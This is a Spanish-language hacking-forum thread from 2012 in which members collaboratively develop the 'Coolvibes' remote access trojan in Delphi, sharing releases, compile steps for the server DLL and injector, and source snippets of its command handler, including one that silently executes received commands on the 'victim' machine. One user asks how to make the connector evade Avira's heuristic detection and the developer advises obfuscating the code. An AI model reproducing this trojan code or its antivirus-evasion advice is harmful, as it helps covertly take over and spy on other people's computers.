• Desarrollo CoolvibesRAT

  • Subforo donde se hara paso a paso un troyano en delphi.
Subforo donde se hara paso a paso un troyano en delphi.
 #369279  por DSR!
 22 May 2012, 07:59
Coolvibes es un RAT FWB escrito en delphi 7, las unicas dependencias que usa son [ Debe registrarse para ver este enlace ] (viene por defecto en todas las versiones de delphi pro) y [ Debe registrarse para ver este enlace ]
Changelog escribió: Fecha 22/05/2012
Versión: 1 Update 13
Modificación de: DSR!
[*] Arreglado bug en parseo de tamaño de archivo en el file manager
[*] Arreglado bug en transferencia de archivos de mas de 1 giga
[*] Arregladas algunas lineas/cosas menores mas
Cosas a hacer (ToDo):
[*] Compresión de datos (empece a hacerlo pero por algun motivo no me funciona, sospecho que sera cosa de indi 9?)
[*] Intente pasarme un archivo de 12gigas en mi red y el rat solo tomo el peso como 300k o algo asi, habria que mirar que falla al respecto
[*] Duplicados en treeview del file manager
[*] Agregar metodo alternativo de captura de Camara (estoy con eso)

Otras cosas que se deberian hacer:
[*] Pulir el codigo, tal vez haciendo como en el SSRat2 que usar un parser para todo
[*] Ver de migrar de Indy 9 a 10, habria que ver como se comporta el rat con 200-400 remotos
Coolvibes v1.13.rar
No tiene los permisos requeridos para ver los archivos adjuntos a este mensaje.
 #370484  por pelforth
 29 May 2012, 23:25
Tengo una duda. En las instrucciones para compilar el programa se indica :

Crear ./Server/Jeringa/Jeringa.dpr sin resource como exe [Jeringa.exe]
Crear ./Server/Coolserver.dpr como dll [Coolserver.dll]
Crear ./Server/Conectador/Conectador.dpr como dll y como exe [Conectador.exe] y [Conectador.dll]

No entiendo como se puede crear la dll coolserver.dll y conectador.dll. Siempre que compilo me aparece como .exe.

¿Simplemente hay que renombrar el fichero o hay que hacer algo más desde el delphi?

Gracias.
 #370584  por DSR!
 30 May 2012, 08:23
//library CoolServer; //Para crear el server definitivo que colocaremos en %cooldir%/cliente/recursos/coolserver.dll
program CoolServer; //Para debug, más lineas "Para debug" abajo
comenta/descomenta segun lo que quieras hacer en los .dpr correspondientes
 #370926  por pelforth
 30 May 2012, 19:03
ok, muchas gracias!
 #372528  por DSR!
 10 Jun 2012, 08:37
Esto es lo unico que encontre dentro del fallido v0.6b para agregar en la versión actual. el que encuentre alguien mas pongalo en este hilo xD
Código: Seleccionar todo
// Prioridad normal a un proceso
          if Copy(Recibido, 1, 4) = 'SET0' then
          begin
            Delete(Recibido, 1, 5);
          if SetProcessPriority(Recibido, NORMAL_PRIORITY_CLASS) = True then
              SendText('MSG|Prioridad normal asignada a proceso con PID ' + Recibido + ENTER)
            else
              SendText('MSG| :( No pude cambiar prioridad al proceso con PID  ' + Recibido + ENTER);
          end;
          
          if Copy(Recibido, 1, 4) = 'SET1' then
          begin
            Delete(Recibido, 1, 5);
          if SetProcessPriority(Recibido, IDLE_PRIORITY_CLASS) = True then
              SendText('MSG|Prioridad Idle asignada a proceso con PID ' + Recibido + ENTER)
            else
              SendText('MSG| :( No pude cambiar prioridad al proceso con PID  ' + Recibido + ENTER);
          end;

          if Copy(Recibido, 1, 4) = 'SET2' then
          begin
            Delete(Recibido, 1, 5);
          if SetProcessPriority(Recibido, HIGH_PRIORITY_CLASS) = True then
              SendText('MSG|Prioridad alta asignada a proceso con PID ' + Recibido + ENTER)
            else
              SendText('MSG| :( NNo pude cambiar prioridad al proceso con PID  ' + Recibido + ENTER);
          end;
            
          if Copy(Recibido, 1, 4) = 'SET3' then
          begin
            Delete(Recibido, 1, 5);
          if SetProcessPriority(Recibido, REALTIME_PRIORITY_CLASS) = True then
              SendText('MSG|Prioridad realtime asignada a proceso con PID ' + Recibido + ENTER)
            else
              SendText('MSG| :( No pude cambiar prioridad al proceso con PID ' + Recibido + ENTER);
          end;
 #372592  por Invitado
 10 Jun 2012, 22:31
Creo que habría que añadirle una funcionalidad bastante útil que la tiene el Spy-net (ripeada del coolvibes, sobre todo vean la unit transfer es la misma) y el xtreme, que es en las conexiones añadirle si la victma tiene cam o no, y la posicbilidad de ver una captura de pantalla en miniatura al seleccionar la victima en el listview de conexiones.

PD tb se podría hacer un splash screen con la imagen del coolvibes, y quitarla del form principal, y quitrale los botones y ponerle un menu.
 #372955  por DSR!
 12 Jun 2012, 16:09
estoy rehaciendo la parte de captura de camara asi que por ahi proximamente se viene esa mejora y lo de captura de escritorio esta implementado pero falla.

subo la versión en que estaba trabajando, eso si es algo experimental aun xD
Fecha 12/06/2012
Versión: 1 Update 14
Modificación de: DSR!
[*] Pequeña modificacion en el comportamiento del server
[*] Cifrado (RC4) y compresion (zlib) de datos *EXPERIMENTAL* Falla con algunas funciones por capricho de zlib parece, algo mal debo haber hecho xD
Coolvibes v1.14.rar
tambien adjunto material para plugins, ya era hora que el spyrippernet nos devuelva un poco de codigo!
if copy(Comando, 1, pos('|', Comando) - 1) = LISTDEVICES then
begin
TempStr := FillDeviceList(DeviceClassesCount, DevicesCount);
_EnviarStream(ClientSocket, LISTDEVICES + '|' +
LISTADEDISPOSITIVOSPRONTA + '|' +
inttostr(DeviceClassesCount) + '|' +
inttostr(DevicesCount) + '|' +
TempStr);
end else

if copy(Comando, 1, pos('|', Comando) - 1) = LISTEXTRADEVICES then
begin
delete(Comando, 1, pos('|', Comando));
TempStr := ShowDeviceAdvancedInfo(strtoint(copy(Comando, 1, pos('|', Comando) - 1)));
_EnviarStream(ClientSocket, LISTEXTRADEVICES + '|' +
LISTADEDISPOSITIVOSEXTRASPRONTA + '|' +
TempStr);
end else




if copy(Comando, 1, pos('|', Comando) - 1) = LISTARPROGRAMASINSTALADOS then
begin
tempstr := ListarApp('HKEY_LOCAL_MACHINE\' + UNINST_PATH);
_EnviarStream(ClientSocket, LISTARPROGRAMASINSTALADOS + '|' +
LISTADEPROGRAMASINSTALADOSPRONTA + '|' +
TempStr + '|');
CloseHandle(CommandThreadId);
end else

if copy(Comando, 1, pos('|', Comando) - 1) = DESINSTALARPROGRAMA then
begin
delete(Comando, 1, pos('|', Comando));
tempstr := copy(Comando, 1, pos('|', Comando) - 1);
//myShellExecute(0, 'open', pchar(tempstr), nil, nil, SW_HIDE);
winexec(pchar(tempstr), sw_hide);
CloseHandle(CommandThreadId);
end else
para plugins.rar
No tiene los permisos requeridos para ver los archivos adjuntos a este mensaje.
 #372967  por DSR!
 12 Jun 2012, 16:54
adjunto mas cosas al post anterior :)
 #373105  por pelforth
 13 Jun 2012, 12:21
Hola a todos.

Estoy intentando modificar el código fuente del Conectador para hacerlo indetectable. Por el momento estoy haciendo las pruebas con el antivirus Avira.

He realizado cambios en los nombres de variables y funciones, además del nombre de cadenas. Ahora me lo detecta como un virus con nombre distinto al original, pero lo sigue detectando a fin de cuentas.

En la descripción del antivirus sobre la detección se indica que ha sido localizado por métodos heurísticos. ¿Qué me aconsejáis para modificar el código y evitar también los métodos heurísticos?

Gracias!
 #373197  por DSR!
 13 Jun 2012, 20:47
ensuciar el codigo y ese tipo de cosas.

subo mi primer pluggin xD

Imagen
InstalledApplications.rar
No tiene los permisos requeridos para ver los archivos adjuntos a este mensaje.
 #373527  por Invitado
 15 Jun 2012, 17:40
DSR! escribió:ensuciar el codigo y ese tipo de cosas.

subo mi primer pluggin xD
En Windows Xp va bien, pero en Windows 7 los plugins parece que fallan.
 #373545  por DSR!
 15 Jun 2012, 19:57
lo probe en 7 x32 y deberia funcionar tambien en x64. aunque me parece que hay una falla en la unit que se encarga de manejar los plugins que no contempla que mientras se usa un plugin se puede desconectar el cliente.
 #373580  por orlando9427
 16 Jun 2012, 02:31
DSR! escribió:lo probe en 7 x32 y deberia funcionar tambien en x64. aunque me parece que hay una falla en la unit que se encarga de manejar los plugins que no contempla que mientras se usa un plugin se puede desconectar el cliente.
DSR! estoy trabajando en un troyano completamente modular, le asigne a cada usuario un arbol de punteros a sus respectivos forms y cuando se desconecta simplemente le aviso al plugin que lo cerrare y elimino el form (en caso de que el plugin siga terco).

Saludos!
 #373614  por Invitado
 16 Jun 2012, 14:28
orlando9427 escribió:
DSR! escribió:lo probe en 7 x32 y deberia funcionar tambien en x64. aunque me parece que hay una falla en la unit que se encarga de manejar los plugins que no contempla que mientras se usa un plugin se puede desconectar el cliente.
DSR! estoy trabajando en un troyano completamente modular, le asigne a cada usuario un arbol de punteros a sus respectivos forms y cuando se desconecta simplemente le aviso al plugin que lo cerrare y elimino el form (en caso de que el plugin siga terco).

Saludos!
Hola, pues podias publicar la unit que se encarga de los plugins asi la adaptamos al Coolvibes
 #373836  por DSR!
 17 Jun 2012, 20:36
no hace falta que publique nada, es agregarle una linea mas al modulo del coolvibes para que haga eso. la cosa seria hacer una rutina que le regenere el id de socket que tendria en una nueva conexion cliente/servidor